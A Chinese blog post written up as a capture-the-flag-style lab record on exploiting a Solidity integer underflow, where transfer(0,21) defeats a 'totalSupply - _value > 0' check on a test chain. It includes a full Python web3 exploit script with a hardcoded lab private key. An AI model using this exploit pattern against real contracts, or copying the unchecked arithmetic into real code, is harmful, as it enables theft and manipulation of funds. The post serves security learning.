• 某60区块链安全之整数溢出漏洞实战学习记录


    区块链安全

    `


    整数溢出漏洞实战

    实验目的

    学会使用python3的web3模块
    学会以太坊整数溢出漏洞分析及利用

    实验环境

    Ubuntu18.04操作机

    实验工具

    python3

    实验原理

    低版本Solidity整数是uint无符号类型,若操作存在不安全行为,可能会产生溢出,通过分析代码找到漏洞点,实现整数溢出利用。
    题目环境是测试链,所以需要本地与题目进行交互,可使用python3中的web3模块,通过web3模块的rpc功能与题目交互,从而编写自动化利用脚本。
    实验内容
    使用python3编写脚本测试漏洞
    找到整数溢出漏洞并形成利用获取flag
    实验地址为nc ip 10001

    攻击过程

    nc 靶标ip 端口
    在这里插入图片描述
    打开http://ip,输入上述分配的game account,点击Request获取eth

    在这里插入图片描述
    在这里插入图片描述

    nc ip 10001连接到题目,输入2,获取部署合约的地址及new token
    在这里插入图片描述

    nc ip 10001连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
    在这里插入图片描述

    分析合约源代码漏洞

    题目要求把flag设置为true,分析合约代码,在transfer中可以将flag设置为true,但需要满足totalSupply - _value > 0,其中totalSupply=20,其实考点为Solidity智能合约整数溢出,totalSupply与value都是uint无符号整数,所以只需要value为21即可产生整数下溢,造成溢出
    在这里插入图片描述
    需要调用transfer(0,21)即可将flag设置为true

    EXP利用

    利用python3的web3模块与远程题目交互,并编写利用代码,将ip替换成题目的ip,contract_address替换成自己的地址

    from web3 import Web3, HTTPProvider
    import time
    
    w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))
    
    contract_address = "0x68A04806e380BAa6D6f2E96027Cc0ed11c17FEf1"
    private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
    public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"
    
    def generate_tx(chainID, to, data, value):
        txn = {
            'chainId': chainID,
            'from': Web3.toChecksumAddress(public),
            'to': to,
            'gasPrice': w3.eth.gasPrice,
            'gas': 3000000,
            'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
            'value': Web3.toWei(value, 'ether'),
            'data': data,
        }
        return txn
    
    def sign_and_send(txn):
        signed_txn = w3.eth.account.signTransaction(txn, private)
        txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
        txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
        print("txn_hash=", txn_hash)
        return txn_receipt
    
    # transfer(0,21)
    data = Web3.keccak(text='transfer(address,uint256)').hex()[:10]
    data += '0'*64
    data += '21'.rjust(64,'0')
    
    txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
    Hack = sign_and_send(txn)
    print(Hack)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    运行exp
    在这里插入图片描述

    在这里插入图片描述

    nc ip 10001连接到题目,输入3,输入之前的new token,获取flag

    在这里插入图片描述

  • 相关阅读:
    【问题思考总结】为什么跳跃间断点变上限积分连续但是不可导?【直观理解 几何方法】
    leetcode724. 寻找数组的中心下标
    日志输出-查看 SQL:深入分析 MyBatis 执行过程
    Hive实战(03)-深入了解Hive JDBC:在大数据世界中实现数据交互
    GBASE 8s基本命令:onstat -k讲解
    单片机之硬件记录
    Linux下怎样使用core文件查看异常崩溃的程序问题
    智慧应管理信息化 平台建设方案
    如何结合内网穿透实现公网远程访问Linux AMH服务器管理面板
    【计算机视觉】Matlab图像增强----直方图均衡化
  • 原文地址:https://blog.csdn.net/weixin_51387754/article/details/134461390